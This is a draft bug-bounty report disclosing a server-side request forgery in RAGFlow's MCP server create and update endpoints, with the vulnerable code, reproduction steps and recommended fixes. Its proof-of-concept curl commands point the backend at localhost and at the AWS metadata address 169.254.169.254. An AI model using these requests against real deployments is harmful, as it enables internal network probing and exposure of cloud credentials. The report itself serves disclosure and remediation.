# SSRF via MCP Server Registration Allows Server-Side Requests to Attacker-Controlled URLs ## meta platform: huntr program: RAGFlow asset: https://github.com/infiniflow/ragflow date: 2026-02-13 status: DRAFT ```` Repository URL: https://github.com/infiniflow/ragflow Package Manager: pip Version Affected: bc9ed24a8503a0a5013341b63c428169c27ff280 Vulnerability Type: Server-Side Request Forgery (SSRF) CVSS: 8.2 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) Title: SSRF via MCP Server Registration Allows Server-Side Requests to Attacker-Controlled URLs Description: ## summary RAGFlow allows authenticated users to create/update MCP server configurations with an arbitrary `url` value. When handling `/v1/mcp_server/create` (and `/v1/mcp_server/update`), the server immediately connects to the provided URL to enumerate MCP tools via `get_mcp_tools()` using SSE or Streamable HTTP transport. Because there is no URL validation or IP range restriction, an attacker can coerce the RAGFlow backend into making server-side requests to internal services (e.g. `127.0.0.1`, cluster services, cloud metadata), enabling SSRF-based internal network probing and potential data exposure via protocol-level behavior and error messages. ## details type: CWE-918 (Server-Side Request Forgery) severity: high cvss: 8.2 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) file: api/apps/mcp_server_app.py:70 version: bc9ed24a8503a0a5013341b63c428169c27ff280 ## vulnerable_code ### 1) User-controlled URL is accepted without validation and used to connect **`api/apps/mcp_server_app.py`**: ```python @manager.route("/create", methods=["POST"]) @login_required @validate_request("name", "url", "server_type") async def create() -> Response: req = await get_request_json() url = req.get("url", "") if not url: return get_data_error_result(message="Invalid url.") # ... mcp_server = MCPServer(id=server_name, name=server_name, url=url, server_type=server_type, variables=variables, headers=headers) server_tools, err_message = await thread_pool_exec(get_mcp_tools, [mcp_server], timeout) ``` ### 2) MCP connection attempts to the attacker-supplied URL **`common/mcp_tool_call_conn.py`**: ```python url = self._mcp_server.url.strip() if self._mcp_server.server_type == MCPServerType.SSE: async with sse_client(url, headers) as stream: async with ClientSession(*stream) as client_session: await client_session.initialize() ... elif self._mcp_server.server_type == MCPServerType.STREAMABLE_HTTP: async with streamablehttp_client(url, headers) as (read_stream, write_stream, _): async with ClientSession(read_stream, write_stream) as client_session: await client_session.initialize() ... ``` ## steps_to_reproduce Preconditions: - Attacker has any authenticated user account (required by `@login_required`). 1. Send a request to create an MCP server with a URL pointing to an internal target. 2. Observe the server attempts to connect to the provided URL (success or failure surfaced via API response messages). ## poc ```bash BASE_URL="http://localhost" TOKEN="" # Example internal target: localhost curl -s -X POST "${BASE_URL}/v1/mcp_server/create" \ -H "Authorization: Bearer ${TOKEN}" \ -H 'Content-Type: application/json' \ --data '{ "name": "ssrf-test", "url": "http://127.0.0.1:80", "server_type": "streamable-http", "timeout": 5 }' # If port is open / responds like an MCP server, creation proceeds. # If not, the response will contain a connection/auth/timeout error message, # which can be used to probe internal network reachability. # Cloud metadata example (if running on AWS): curl -s -X POST "${BASE_URL}/v1/mcp_server/create" \ -H "Authorization: Bearer ${TOKEN}" \ -H 'Content-Type: application/json' \ --data '{ "name": "ssrf-imds", "url": "http://169.254.169.254/latest/meta-data/", "server_type": "streamable-http", "timeout": 5 }' ``` ## expected_vs_actual expected: MCP server URLs should be validated and restricted to safe destinations (or routed through a hardened egress proxy) to prevent access to internal IP ranges and metadata endpoints. actual: Any authenticated user can register an MCP server URL and the backend will connect to it directly. ## impact - Internal network probing (open ports/services) from the RAGFlow backend network. - Potential access to cloud metadata services from within the deployment environment. - Potential data exposure depending on reachable internal services and how MCP client errors are surfaced. ## fix - Enforce URL validation similar to other URL-handling endpoints. - Resolve hostname to IP(s) and block private, loopback, link-local, multicast, and unspecified ranges. - Prevent DNS rebinding by pinning the resolved IP and ensuring the actual connection uses the same address. - Consider requiring admin-only permission for MCP server registration. ## references - https://cwe.mitre.org/data/definitions/918.html (CWE-918) - https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/ ````